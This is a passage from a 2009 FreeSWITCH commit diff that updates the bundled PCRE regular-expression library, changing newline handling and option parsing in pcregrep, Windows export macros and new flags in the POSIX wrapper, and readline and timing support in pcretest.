-  fprintf(stderr, "pcregrep version %s using ", VERSION);
-  fprintf(stderr, "PCRE version %s\n", pcre_version());
+  fprintf(stderr, "pcregrep version %s\n", pcre_version());
   exit(0);
   break;
 
@@ -1181,7 +1776,11 @@
   suffix[process_options]);
 pattern_list[pattern_count] =
   pcre_compile(buffer, options, &error, &errptr, pcretables);
-if (pattern_list[pattern_count++] != NULL) return TRUE;
+if (pattern_list[pattern_count] != NULL)
+  {
+  pattern_count++;
+  return TRUE;
+  }
 
 /* Handle compile errors */
 
@@ -1231,14 +1830,16 @@
 {
 if ((process_options & PO_FIXED_STRINGS) != 0)
   {
+  char *eop = pattern + strlen(pattern);
   char buffer[MBUFTHIRD];
   for(;;)
     {
-    char *p = strchr(pattern, endlinebyte);
-    if (p == NULL)
+    int ellength;
+    char *p = end_of_line(pattern, eop, &ellength);
+    if (ellength == 0)
       return compile_single_pattern(pattern, options, filename, count);
-    sprintf(buffer, "%.*s", p - pattern - endlineextra, pattern);
-    pattern = p + 1;
+    sprintf(buffer, "%.*s", (int)(p - pattern - ellength), pattern);
+    pattern = p;
     if (!compile_single_pattern(buffer, options, filename, count))
       return FALSE;
     }
@@ -1261,20 +1862,27 @@
 int rc = 1;
 int pcre_options = 0;
 int cmd_pattern_count = 0;
+int hint_count = 0;
 int errptr;
 BOOL only_one_at_top;
 char *patterns[MAX_PATTERN_COUNT];
 const char *locale_from = "--locale";
 const char *error;
 
-/* Set the default line ending value from the default in the PCRE library. */
+/* Set the default line ending value from the default in the PCRE library;
+"lf", "cr", "crlf", and "any" are supported. Anything else is treated as "lf".
+Note that the return values from pcre_config(), though derived from the ASCII
+codes, are the same in EBCDIC environments, so we must use the actual values
+rather than escapes such as as '\r'. */
 
 (void)pcre_config(PCRE_CONFIG_NEWLINE, &i);
 switch(i)
   {
-  default:                 newline = (char *)"lf"; break;
-  case '\r':               newline = (char *)"cr"; break;
-  case ('\r' << 8) | '\n': newline = (char *)"crlf"; break;
+  default:               newline = (char *)"lf"; break;
+  case 13:               newline = (char *)"cr"; break;
+  case (13 << 8) | 10:   newline = (char *)"crlf"; break;
+  case -1:               newline = (char *)"any"; break;
+  case -2:               newline = (char *)"anycrlf"; break;
   }
 
 /* Process the options */
@@ -1332,7 +1940,7 @@
         else                 /* Special case xxx=data */
           {
           int oplen = equals - op->long_name;
-          int arglen = (argequals == NULL)? strlen(arg) : argequals - arg;
+          int arglen = (argequals == NULL)? (int)strlen(arg) : argequals - arg;
           if (oplen == arglen && strncmp(arg, op->long_name, oplen) == 0)
             {
             option_data = arg + arglen;
@@ -1351,8 +1959,8 @@
         char buff2[24];
         int baselen = opbra - op->long_name;
         sprintf(buff1, "%.*s", baselen, op->long_name);
-        sprintf(buff2, "%s%.*s", buff1, strlen(op->long_name) - baselen - 2,
-          opbra + 1);
+        sprintf(buff2, "%s%.*s", buff1,
+          (int)strlen(op->long_name) - baselen - 2, opbra + 1);
         if (strcmp(arg, buff1) == 0 || strcmp(arg, buff2) == 0)
           break;
         }
@@ -1511,6 +2119,19 @@
   if (before_context == 0) before_context = both_context;
   }
 
+/* Only one of --only-matching, --file-offsets, or --line-offsets is permitted.
+However, the latter two set the only_matching flag. */
+
+if ((only_matching && (file_offsets || line_offsets)) ||
+    (file_offsets && line_offsets))
+  {
+  fprintf(stderr, "pcregrep: Cannot mix --only-matching, --file-offsets "
+    "and/or --line-offsets\n");
+  exit(usage(2));
+  }
+
+if (file_offsets || line_offsets) only_matching = TRUE;
+
 /* If a locale has not been provided as an option, see if the LC_CTYPE or
 LC_ALL environment variable is set, and if so, use it. */
 
@@ -1565,17 +2186,28 @@
 if (strcmp(newline, "cr") == 0 || strcmp(newline, "CR") == 0)
   {
   pcre_options |= PCRE_NEWLINE_CR;
-  endlinebyte = '\r';
+  endlinetype = EL_CR;
   }
 else if (strcmp(newline, "lf") == 0 || strcmp(newline, "LF") == 0)
   {
   pcre_options |= PCRE_NEWLINE_LF;
+  endlinetype = EL_LF;
   }
 else if (strcmp(newline, "crlf") == 0 || strcmp(newline, "CRLF") == 0)
   {
   pcre_options |= PCRE_NEWLINE_CRLF;
-  endlineextra = 1;
+  endlinetype = EL_CRLF;
   }
+else if (strcmp(newline, "any") == 0 || strcmp(newline, "ANY") == 0)
+  {
+  pcre_options |= PCRE_NEWLINE_ANY;
+  endlinetype = EL_ANY;
+  }
+else if (strcmp(newline, "anycrlf") == 0 || strcmp(newline, "ANYCRLF") == 0)
+  {
+  pcre_options |= PCRE_NEWLINE_ANYCRLF;
+  endlinetype = EL_ANYCRLF;
+  }
 else
   {
   fprintf(stderr, "pcregrep: Invalid newline specifier \"%s\"\n", newline);
@@ -1630,7 +2262,7 @@
 if (pattern_list == NULL || hints_list == NULL)
   {
   fprintf(stderr, "pcregrep: malloc failed\n");
-  return 2;
+  goto EXIT2;
   }
 
 /* If no patterns were provided by -e, and there is no file provided by -f,
@@ -1649,7 +2281,7 @@
   {
   if (!compile_pattern(patterns[j], pcre_options, NULL,
        (j == 0 && cmd_pattern_count == 1)? 0 : j + 1))
-    return 2;
+    goto EXIT2;
   }
 
 /* Compile the regular expressions that are provided in a file. */
@@ -1673,7 +2305,7 @@
       {
       fprintf(stderr, "pcregrep: Failed to open %s: %s\n", pattern_filename,
         strerror(errno));
-      return 2;
+      goto EXIT2;
       }
     filename = pattern_filename;
     }
@@ -1686,7 +2318,7 @@
     linenumber++;
     if (buffer[0] == 0) continue;   /* Skip blank lines */
     if (!compile_pattern(buffer, pcre_options, filename, linenumber))
-      return 2;
+      goto EXIT2;
     }
 
   if (f != stdin) fclose(f);
@@ -1702,8 +2334,9 @@
     char s[16];
     if (pattern_count == 1) s[0] = 0; else sprintf(s, " number %d", j);
     fprintf(stderr, "pcregrep: Error while studying regex%s: %s\n", s, error);
-    return 2;
+    goto EXIT2;
     }
+  hint_count++;
   }
 
 /* If there are include or exclude patterns, compile them. */
@@ -1716,7 +2349,7 @@
     {
     fprintf(stderr, "pcregrep: Error in 'exclude' regex at offset %d: %s\n",
       errptr, error);
-    return 2;
+    goto EXIT2;
     }
   }
 
@@ -1728,14 +2361,41 @@
     {
     fprintf(stderr, "pcregrep: Error in 'include' regex at offset %d: %s\n",
       errptr, error);
-    return 2;
+    goto EXIT2;
     }
   }
 
+if (exclude_dir_pattern != NULL)
+  {
+  exclude_dir_compiled = pcre_compile(exclude_dir_pattern, 0, &error, &errptr,
+    pcretables);
+  if (exclude_dir_compiled == NULL)
+    {
+    fprintf(stderr, "pcregrep: Error in 'exclude_dir' regex at offset %d: %s\n",
+      errptr, error);
+    goto EXIT2;
+    }
+  }
+
+if (include_dir_pattern != NULL)
+  {
+  include_dir_compiled = pcre_compile(include_dir_pattern, 0, &error, &errptr,
+    pcretables);
+  if (include_dir_compiled == NULL)
+    {
+    fprintf(stderr, "pcregrep: Error in 'include_dir' regex at offset %d: %s\n",
+      errptr, error);
+    goto EXIT2;
+    }
+  }
+
 /* If there are no further arguments, do the business on stdin and exit. */
 
 if (i >= argc)
-  return pcregrep(stdin, (filenames > FN_DEFAULT)? stdin_name : NULL);
+  {
+  rc = pcregrep(stdin, FR_PLAIN, (filenames > FN_DEFAULT)? stdin_name : NULL);
+  goto EXIT;
+  }
 
 /* Otherwise, work through the remaining arguments as files or directories.
 Pass in the fact that there is only one argument at top level - this suppresses
@@ -1752,7 +2412,22 @@
     else if (frc == 0 && rc == 1) rc = 0;
   }
 
+EXIT:
+if (pattern_list != NULL)
+  {
+  for (i = 0; i < pattern_count; i++) free(pattern_list[i]);
+  free(pattern_list);
+  }
+if (hints_list != NULL)
+  {
+  for (i = 0; i < hint_count; i++) free(hints_list[i]);
+  free(hints_list);
+  }
 return rc;
+
+EXIT2:
+rc = 2;
+goto EXIT;
 }
 
 /* End of pcregrep */

Modified: freeswitch/branches/seven/libs/pcre/pcreposix.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcreposix.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcreposix.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -42,12 +42,26 @@
 functions. */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+
+/* Ensure that the PCREPOSIX_EXP_xxx macros are set appropriately for
+compiling these functions. This must come before including pcreposix.h, where
+they are set for an application (using these functions) if they have not
+previously been set. */
+
+#if defined(_WIN32) && !defined(PCRE_STATIC)
+#  define PCREPOSIX_EXP_DECL extern __declspec(dllexport)
+#  define PCREPOSIX_EXP_DEFN __declspec(dllexport)
+#endif
+
+#include "pcre.h"
 #include "pcre_internal.h"
 #include "pcreposix.h"
-#include "stdlib.h"
 
 
-
 /* Table to translate PCRE compile time error codes into POSIX error codes. */
 
 static const int eint[] = {
@@ -78,9 +92,9 @@
   REG_BADPAT,  /* unrecognized character after (?< */
   REG_BADPAT,  /* lookbehind assertion is not fixed length */
   REG_BADPAT,  /* malformed number or name after (?( */
-  REG_BADPAT,  /* conditional group containe more than two branches */
+  REG_BADPAT,  /* conditional group contains more than two branches */
   REG_BADPAT,  /* assertion expected after (?( */
-  REG_BADPAT,  /* (?R or (?digits must be followed by ) */
+  REG_BADPAT,  /* (?R or (?[+-]digits must be followed by ) */
   REG_ECTYPE,  /* unknown POSIX class name */
   REG_BADPAT,  /* POSIX collating elements are not supported */
   REG_INVARG,  /* this version of PCRE is not compiled with PCRE_UTF8 support */
@@ -93,7 +107,7 @@
   REG_BADPAT,  /* closing ) for (?C expected */
   REG_BADPAT,  /* recursive call could loop indefinitely */
   REG_BADPAT,  /* unrecognized character after (?P */
-  REG_BADPAT,  /* syntax error after (?P */
+  REG_BADPAT,  /* syntax error in subpattern name (missing terminator) */
   REG_BADPAT,  /* two named subpatterns have the same name */
   REG_BADPAT,  /* invalid UTF-8 string */
   REG_BADPAT,  /* support for \P, \p, and \X has not been compiled */
@@ -102,7 +116,18 @@
   REG_BADPAT,  /* subpattern name is too long (maximum 32 characters) */
   REG_BADPAT,  /* too many named subpatterns (maximum 10,000) */
   REG_BADPAT,  /* repeated subpattern is too long */
-  REG_BADPAT   /* octal value is greater than \377 (not in UTF-8 mode) */
+  REG_BADPAT,  /* octal value is greater than \377 (not in UTF-8 mode) */
+  REG_BADPAT,  /* internal error: overran compiling workspace */
+  REG_BADPAT,  /* internal error: previously-checked referenced subpattern not found */
+  REG_BADPAT,  /* DEFINE group contains more than one branch */
+  REG_BADPAT,  /* repeating a DEFINE group is not allowed */
+  REG_INVARG,  /* inconsistent NEWLINE options */
+  REG_BADPAT,  /* \g is not followed followed by an (optionally braced) non-zero number */
+  REG_BADPAT,  /* (?+ or (?- must be followed by a non-zero number */
+  REG_BADPAT,  /* number is too big */
+  REG_BADPAT,  /* subpattern name expected */
+  REG_BADPAT,  /* digit expected after (?+ */
+  REG_BADPAT   /* ] is an invalid data character in JavaScript compatibility mode */
 };
 
 /* Table of texts corresponding to POSIX error codes */
@@ -135,7 +160,7 @@
 *          Translate error code to string        *
 *************************************************/
 
-PCRE_DATA_SCOPE size_t
+PCREPOSIX_EXP_DEFN size_t PCRE_CALL_CONVENTION
 regerror(int errcode, const regex_t *preg, char *errbuf, size_t errbuf_size)
 {
 const char *message, *addmessage;
@@ -170,7 +195,7 @@
 *           Free store held by a regex           *
 *************************************************/
 
-PCRE_DATA_SCOPE void
+PCREPOSIX_EXP_DEFN void PCRE_CALL_CONVENTION
 regfree(regex_t *preg)
 {
 (pcre_free)(preg->re_pcre);
@@ -193,7 +218,7 @@
               various non-zero codes on failure
 */
 
-PCRE_DATA_SCOPE int
+PCREPOSIX_EXP_DEFN int PCRE_CALL_CONVENTION
 regcomp(regex_t *preg, const char *pattern, int cflags)
 {
 const char *errorptr;
@@ -235,11 +260,11 @@
 be set. When this is the case, the nmatch and pmatch arguments are ignored, and
 the only result is yes/no/error. */
 
-PCRE_DATA_SCOPE int
+PCREPOSIX_EXP_DEFN int PCRE_CALL_CONVENTION
 regexec(const regex_t *preg, const char *string, size_t nmatch,
   regmatch_t pmatch[], int eflags)
 {
-int rc;
+int rc, so, eo;
 int options = 0;
 int *ovector = NULL;
 int small_ovector[POSIX_MALLOC_THRESHOLD * 3];
@@ -249,6 +274,7 @@
 
 if ((eflags & REG_NOTBOL) != 0) options |= PCRE_NOTBOL;
 if ((eflags & REG_NOTEOL) != 0) options |= PCRE_NOTEOL;
+if ((eflags & REG_NOTEMPTY) != 0) options |= PCRE_NOTEMPTY;
 
 ((regex_t *)preg)->re_erroffset = (size_t)(-1);  /* Only has meaning after compile */
 
@@ -272,7 +298,23 @@
     }
   }
 
-rc = pcre_exec((const pcre *)preg->re_pcre, NULL, string, (int)strlen(string),
+/* REG_STARTEND is a BSD extension, to allow for non-NUL-terminated strings.
+The man page from OS X says "REG_STARTEND affects only the location of the
+string, not how it is matched". That is why the "so" value is used to bump the
+start location rather than being passed as a PCRE "starting offset". */
+
+if ((eflags & REG_STARTEND) != 0)
+  {
+  so = pmatch[0].rm_so;
+  eo = pmatch[0].rm_eo;
+  }
+else
+  {
+  so = 0;
+  eo = strlen(string);
+  }
+
+rc = pcre_exec((const pcre *)preg->re_pcre, NULL, string + so, (eo - so),
   0, options, ovector, nmatch * 3);
 
 if (rc == 0) rc = nmatch;    /* All captured slots were filled in */

Modified: freeswitch/branches/seven/libs/pcre/pcreposix.h (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcreposix.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcreposix.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,7 +9,7 @@
 Compatible Regular Expression library. It defines the things POSIX says should
 be there. I hope.
 
-            Copyright (c) 1997-2006 University of Cambridge
+            Copyright (c) 1997-2009 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -59,6 +59,8 @@
 #define REG_DOTALL    0x0010   /* NOT defined by POSIX. */
 #define REG_NOSUB     0x0020
 #define REG_UTF8      0x0040   /* NOT defined by POSIX. */
+#define REG_STARTEND  0x0080   /* BSD feature: pass subject string by so,eo */
+#define REG_NOTEMPTY  0x0100   /* NOT defined by POSIX. */
 
 /* This is not used by PCRE, but by defining it we make it easier
 to slot PCRE into existing programs that make POSIX calls. */
@@ -105,40 +107,35 @@
   regoff_t rm_eo;
 } regmatch_t;
 
-/* Win32 uses DLL by default; it needs special stuff for exported functions
-when building PCRE. */
+/* When an application links to a PCRE DLL in Windows, the symbols that are
+imported have to be identified as such. When building PCRE, the appropriate
+export settings are needed, and are set in pcreposix.c before including this
+file. */
 
-#ifndef PCRE_DATA_SCOPE
-#ifdef _WIN32
-#  ifdef PCRE_DEFINITION
-#    ifdef DLL_EXPORT
-#      define PCRE_DATA_SCOPE __declspec(dllexport)
-#    endif
-#  else
-#    ifndef PCRE_STATIC
-#      define PCRE_DATA_SCOPE extern __declspec(dllimport)
-#    endif
-#  endif
+#if defined(_WIN32) && !defined(PCRE_STATIC) && !defined(PCREPOSIX_EXP_DECL)
+#  define PCREPOSIX_EXP_DECL  extern __declspec(dllimport)
+#  define PCREPOSIX_EXP_DEFN  __declspec(dllimport)
 #endif
-#endif
 
-/* Otherwise, we use the standard "extern". */
+/* By default, we use the standard "extern" declarations. */
 
-#ifndef PCRE_DATA_SCOPE
+#ifndef PCREPOSIX_EXP_DECL
 #  ifdef __cplusplus
-#    define PCRE_DATA_SCOPE     extern "C"
+#    define PCREPOSIX_EXP_DECL  extern "C"
+#    define PCREPOSIX_EXP_DEFN  extern "C"
 #  else
-#    define PCRE_DATA_SCOPE     extern
+#    define PCREPOSIX_EXP_DECL  extern
+#    define PCREPOSIX_EXP_DEFN  extern
 #  endif
 #endif
 
 /* The functions */
 
-PCRE_DATA_SCOPE int regcomp(regex_t *, const char *, int);
-PCRE_DATA_SCOPE int regexec(const regex_t *, const char *, size_t,
-                  regmatch_t *, int);
-PCRE_DATA_SCOPE size_t regerror(int, const regex_t *, char *, size_t);
-PCRE_DATA_SCOPE void regfree(regex_t *);
+PCREPOSIX_EXP_DECL int regcomp(regex_t *, const char *, int);
+PCREPOSIX_EXP_DECL int regexec(const regex_t *, const char *, size_t,
+                     regmatch_t *, int);
+PCREPOSIX_EXP_DECL size_t regerror(int, const regex_t *, char *, size_t);
+PCREPOSIX_EXP_DECL void regfree(regex_t *);
 
 #ifdef __cplusplus
 }   /* extern "C" */

Modified: freeswitch/branches/seven/libs/pcre/pcretest.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcretest.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcretest.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,6 +36,10 @@
 */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include <ctype.h>
 #include <stdio.h>
 #include <string.h>
@@ -44,23 +48,62 @@
 #include <locale.h>
 #include <errno.h>
 
-#ifndef _WIN32
-#include <sys/resource.h>
+#ifdef SUPPORT_LIBREADLINE
+#ifdef HAVE_UNISTD_H
+#include <unistd.h>
 #endif
+#include <readline/readline.h>
+#include <readline/history.h>
+#endif
 
-#define PCRE_SPY        /* For Win32 build, import data, not export */
 
-/* We include pcre_internal.h because we need the internal info for displaying
-the results of pcre_study() and we also need to know about the internal
-macros, structures, and other internal data values; pcretest has "inside
-information" compared to a program that strictly follows the PCRE API. */
+/* A number of things vary for Windows builds. Originally, pcretest opened its
+input and output without "b"; then I was told that "b" was needed in some
+environments, so it was added for release 5.0 to both the input and output. (It
+makes no difference on Unix-like systems.) Later I was told that it is wrong
+for the input on Windows. I've now abstracted the modes into two macros that
+are set here, to make it easier to fiddle with them, and removed "b" from the
+input mode under Windows. */
 
+#if defined(_WIN32) || defined(WIN32)
+#include <io.h>                /* For _setmode() */
+#include <fcntl.h>             /* For _O_BINARY */
+#define INPUT_MODE   "r"
+#define OUTPUT_MODE  "wb"
+
+#ifndef isatty
+#define isatty _isatty         /* This is what Windows calls them, I'm told, */
+#endif                         /* though in some environments they seem to   */
+                               /* be already defined, hence the #ifndefs.    */
+#ifndef fileno
+#define fileno _fileno
+#endif
+
+#else
+#include <sys/time.h>          /* These two includes are needed */
+#include <sys/resource.h>      /* for setrlimit(). */
+#define INPUT_MODE   "rb"
+#define OUTPUT_MODE  "wb"
+#endif
+
+
+/* We have to include pcre_internal.h because we need the internal info for
+displaying the results of pcre_study() and we also need to know about the
+internal macros, structures, and other internal data values; pcretest has
+"inside information" compared to a program that strictly follows the PCRE API.
+
+Although pcre_internal.h does itself include pcre.h, we explicitly include it
+here before pcre_internal.h so that the PCRE_EXP_xxx macros get set
+appropriately for an application, not for building PCRE. */
+
+#include "pcre.h"
 #include "pcre_internal.h"
 
-/* We need access to the data tables that PCRE uses. So as not to have to keep
-two copies, we include the source file here, changing the names of the external
-symbols to prevent clashes. */
+/* We need access to some of the data tables that PCRE uses. So as not to have
+to keep two copies, we include the source file here, changing the names of the
+external symbols to prevent clashes. */
 
+#define _pcre_ucp_gentype      ucp_gentype
 #define _pcre_utf8_table1      utf8_table1
 #define _pcre_utf8_table1_size utf8_table1_size
 #define _pcre_utf8_table2      utf8_table2
@@ -68,17 +111,26 @@
 #define _pcre_utf8_table4      utf8_table4
 #define _pcre_utt              utt
 #define _pcre_utt_size         utt_size
+#define _pcre_utt_names        utt_names
 #define _pcre_OP_lengths       OP_lengths
 
 #include "pcre_tables.c"
 
 /* We also need the pcre_printint() function for printing out compiled
 patterns. This function is in a separate file so that it can be included in
-pcre_compile.c when that module is compiled with debugging enabled. */
+pcre_compile.c when that module is compiled with debugging enabled.
 
+The definition of the macro PRINTABLE, which determines whether to print an
+output character as-is or as a hex value when showing compiled patterns, is
+contained in this file. We uses it here also, in cases when the locale has not
+been explicitly changed, so as to get consistent output from systems that
+differ in their output from isprint() even in the "C" locale. */
+
 #include "pcre_printint.src"
 
+#define PRINTHEX(c) (locale_set? isprint(c) : PRINTABLE(c))
 
+
 /* It is possible to compile this test program without including support for
 testing the POSIX interface, though this is not available via the standard
 Makefile. */
@@ -87,12 +139,19 @@
 #include "pcreposix.h"
 #endif
 
-/* It is also possible, for the benefit of the version imported into Exim, to
-build pcretest without support for UTF8 (define NOUTF8), without the interface
-to the DFA matcher (NODFA), and without the doublecheck of the old "info"
-function (define NOINFOCHECK). */
+/* It is also possible, for the benefit of the version currently imported into
+Exim, to build pcretest without support for UTF8 (define NOUTF8), without the
+interface to the DFA matcher (NODFA), and without the doublecheck of the old
+"info" function (define NOINFOCHECK). In fact, we automatically cut out the
+UTF8 support if PCRE is built without it. */
 
+#ifndef SUPPORT_UTF8
+#ifndef NOUTF8
+#define NOUTF8
+#endif
+#endif
 
+
 /* Other parameters */
 
 #ifndef CLOCKS_PER_SEC
@@ -103,6 +162,8 @@
 #endif
 #endif
 
+/* This is the default loop count for timing. */
+
 #define LOOPREPEAT 500000
 
 /* Static variables */
@@ -113,7 +174,9 @@
 static int callout_extra;
 static int callout_fail_count;
 static int callout_fail_id;
+static int debug_lengths;
 static int first_callout;
+static int locale_set = 0;
 static int show_malloc;
 static int use_utf8;
 static size_t gotten_store;
@@ -143,6 +206,7 @@
 Arguments:
   f            the file to read
   start        where in buffer to start (this *must* be within buffer)
+  prompt       for stdin or readline()
 
 Returns:       pointer to the start of new data
                could be a copy of start, or could be moved
@@ -150,18 +214,47 @@
 */
 
 static uschar *
-extend_inputline(FILE *f, uschar *start)
+extend_inputline(FILE *f, uschar *start, const char *prompt)
 {
 uschar *here = start;
 
 for (;;)
   {
   int rlen = buffer_size - (here - buffer);
+
   if (rlen > 1000)
     {
     int dlen;
-    if (fgets((char *)here, rlen,  f) == NULL)
-      return (here == start)? NULL : start;
+
+    /* If libreadline support is required, use readline() to read a line if the
+    input is a terminal. Note that readline() removes the trailing newline, so
+    we must put it back again, to be compatible with fgets(). */
+
+#ifdef SUPPORT_LIBREADLINE
+    if (isatty(fileno(f)))
+      {
+      size_t len;
+      char *s = readline(prompt);
+      if (s == NULL) return (here == start)? NULL : start;
+      len = strlen(s);
+      if (len > 0) add_history(s);
+      if (len > rlen - 1) len = rlen - 1;
+      memcpy(here, s, len);
+      here[len] = '\n';
+      here[len+1] = 0;
+      free(s);
+      }
+    else
+#endif
+
+    /* Read the next line by normal means, prompting if the file is stdin. */
+
+      {
+      if (f == stdin) printf(prompt);
+      if (fgets((char *)here, rlen,  f) == NULL)
+        return (here == start)? NULL : start;
+      }
+
     dlen = (int)strlen((char *)here);
     if (dlen > 0 && here[dlen - 1] == '\n') return start;
     here += dlen;
@@ -213,7 +306,7 @@
 
 /* We don't use strtoul() because SunOS4 doesn't have it. Rather than mess
 around with conditional compilation, just do the job by hand. It is only used
-for unpicking the -o argument, so just keep it simple.
+for unpicking arguments, so just keep it simple.
 
 Arguments:
   str           string to be converted
@@ -311,6 +404,8 @@
 Returns:     number of characters placed in the buffer
 */
 
+#if !defined NOUTF8
+
 static int
 ord2utf8(int cvalue, uschar *utf8bytes)
 {
@@ -327,8 +422,10 @@
 return i + 1;
 }
 
+#endif
 
 
+
 /*************************************************
 *             Print character string             *
 *************************************************/
@@ -353,16 +450,19 @@
       {
       length -= rc - 1;
       p += rc;
-      if (c < 256 && isprint(c))
+      if (PRINTHEX(c))
         {
         if (f != NULL) fprintf(f, "%c", c);
         yield++;
         }
       else
         {
-        int n;
-        if (f != NULL) fprintf(f, "\\x{%02x}%n", c, &n);
-        yield += n;
+        int n = 4;
+        if (f != NULL) fprintf(f, "\\x{%02x}", c);
+        yield += (n <= 0x000000ff)? 2 :
+                 (n <= 0x00000fff)? 3 :
+                 (n <= 0x0000ffff)? 4 :
+                 (n <= 0x000fffff)? 5 : 6;
         }
       continue;
       }
@@ -371,7 +471,8 @@
 
    /* Not UTF-8, or malformed UTF-8  */
 
-  if (isprint(c = *(p++)))
+  c = *p++;
+  if (PRINTHEX(c))
     {
     if (f != NULL) fprintf(f, "%c", c);
     yield++;
@@ -610,11 +711,38 @@
 
 
 /*************************************************
+*         Case-independent strncmp() function    *
+*************************************************/
+
+/*
+Arguments:
+  s         first string
+  t         second string
+  n         number of characters to compare
+
+Returns:    < 0, = 0, or > 0, according to the comparison
+*/
+
+static int
+strncmpic(uschar *s, uschar *t, int n)
+{
+while (n--)
+  {
+  int c = tolower(*s++) - tolower(*t++);
+  if (c) return c;
+  }
+return 0;
+}
+
+
+
+/*************************************************
 *         Check newline indicator                *
 *************************************************/
 
 /* This is used both at compile and run-time to check for <xxx> escapes, where
-xxx is LF, CR, or CRLF. Print a message and return 0 if there is no match.
+xxx is LF, CR, CRLF, ANYCRLF, or ANY. Print a message and return 0 if there is
+no match.
 
 Arguments:
   p           points after the leading '<'
@@ -626,9 +754,13 @@
 static int
 check_newline(uschar *p, FILE *f)
 {
-if (strncmp((char *)p, "cr>", 3) == 0) return PCRE_NEWLINE_CR;
-if (strncmp((char *)p, "lf>", 3) == 0) return PCRE_NEWLINE_LF;
-if (strncmp((char *)p, "crlf>", 5) == 0) return PCRE_NEWLINE_CRLF;
+if (strncmpic(p, (uschar *)"cr>", 3) == 0) return PCRE_NEWLINE_CR;
+if (strncmpic(p, (uschar *)"lf>", 3) == 0) return PCRE_NEWLINE_LF;
+if (strncmpic(p, (uschar *)"crlf>", 5) == 0) return PCRE_NEWLINE_CRLF;
+if (strncmpic(p, (uschar *)"anycrlf>", 8) == 0) return PCRE_NEWLINE_ANYCRLF;
+if (strncmpic(p, (uschar *)"any>", 4) == 0) return PCRE_NEWLINE_ANY;
+if (strncmpic(p, (uschar *)"bsr_anycrlf>", 12) == 0) return PCRE_BSR_ANYCRLF;
+if (strncmpic(p, (uschar *)"bsr_unicode>", 12) == 0) return PCRE_BSR_UNICODE;
 fprintf(f, "Unknown newline type at: <%s\n", p);
 return 0;
 }
@@ -636,6 +768,46 @@
 
 
 /*************************************************
+*             Usage function                     *
+*************************************************/
+
+static void
+usage(void)
+{
+printf("Usage:     pcretest [options] [<input file> [<output file>]]\n\n");
+printf("Input and output default to stdin and stdout.\n");
+#ifdef SUPPORT_LIBREADLINE
+printf("If input is a terminal, readline() is used to read from it.\n");
+#else
+printf("This version of pcretest is not linked with readline().\n");
+#endif
+printf("\nOptions:\n");
+printf("  -b       show compiled code (bytecode)\n");
+printf("  -C       show PCRE compile-time options and exit\n");
+printf("  -d       debug: show compiled code and information (-b and -i)\n");
+#if !defined NODFA
+printf("  -dfa     force DFA matching for all subjects\n");
+#endif
+printf("  -help    show usage information\n");
+printf("  -i       show information about compiled patterns\n"
+       "  -M       find MATCH_LIMIT minimum for each subject\n"
+       "  -m       output memory used information\n"
+       "  -o <n>   set size of offsets vector to <n>\n");
+#if !defined NOPOSIX
+printf("  -p       use POSIX interface\n");
+#endif
+printf("  -q       quiet: do not output PCRE version number at start\n");
+printf("  -S <n>   set stack size to <n> megabytes\n");
+printf("  -s       output store (memory) used information\n"
+       "  -t       time compilation and execution\n");
+printf("  -t <n>   time compilation and execution, repeating <n> times\n");
+printf("  -tm      time execution (matching) only\n");
+printf("  -tm <n>  time execution (matching) only, repeating <n> times\n");
+}
+
+
+
+/*************************************************
 *                Main Program                    *
 *************************************************/
 
@@ -648,8 +820,10 @@
 FILE *infile = stdin;
 int options = 0;
 int study_options = 0;
+int default_find_match_limit = FALSE;
 int op = 1;
 int timeit = 0;
+int timeitm = 0;
 int showinfo = 0;
 int showstore = 0;
 int quiet = 0;
@@ -681,16 +855,19 @@
 dbuffer = (unsigned char *)malloc(buffer_size);
 pbuffer = (unsigned char *)malloc(buffer_size);
 
-/* The outfile variable is static so that new_malloc can use it. The _setmode()
-stuff is some magic that I don't understand, but which apparently does good
-things in Windows. It's related to line terminations.  */
+/* The outfile variable is static so that new_malloc can use it. */
 
+outfile = stdout;
+
+/* The following  _setmode() stuff is some Windows magic that tells its runtime
+library to translate CRLF into a single LF character. At least, that's what
+I've been told: never having used Windows I take this all on trust. Originally
+it set 0x8000, but then I was advised that _O_BINARY was better. */
+
 #if defined(_WIN32) || defined(WIN32)
-_setmode( _fileno( stdout ), 0x8000 );
-#endif  /* defined(_WIN32) || defined(WIN32) */
+_setmode( _fileno( stdout ), _O_BINARY );
+#endif
 
-outfile = stdout;
-
 /* Scan options */
 
 while (argc > 1 && argv[op][0] == '-')
@@ -699,10 +876,11 @@
 
   if (strcmp(argv[op], "-s") == 0 || strcmp(argv[op], "-m") == 0)
     showstore = 1;
-  else if (strcmp(argv[op], "-t") == 0) timeit = 1;
   else if (strcmp(argv[op], "-q") == 0) quiet = 1;
+  else if (strcmp(argv[op], "-b") == 0) debug = 1;
   else if (strcmp(argv[op], "-i") == 0) showinfo = 1;
   else if (strcmp(argv[op], "-d") == 0) showinfo = debug = 1;
+  else if (strcmp(argv[op], "-M") == 0) default_find_match_limit = TRUE;
 #if !defined NODFA
   else if (strcmp(argv[op], "-dfa") == 0) all_use_dfa = 1;
 #endif
@@ -713,11 +891,25 @@
     op++;
     argc--;
     }
+  else if (strcmp(argv[op], "-t") == 0 || strcmp(argv[op], "-tm") == 0)
+    {
+    int both = argv[op][2] == 0;
+    int temp;
+    if (argc > 2 && (temp = get_value((unsigned char *)argv[op+1], &endptr),
+                     *endptr == 0))
+      {
+      timeitm = temp;
+      op++;
+      argc--;
+      }
+    else timeitm = LOOPREPEAT;
+    if (both) timeit = timeitm;
+    }
   else if (strcmp(argv[op], "-S") == 0 && argc > 2 &&
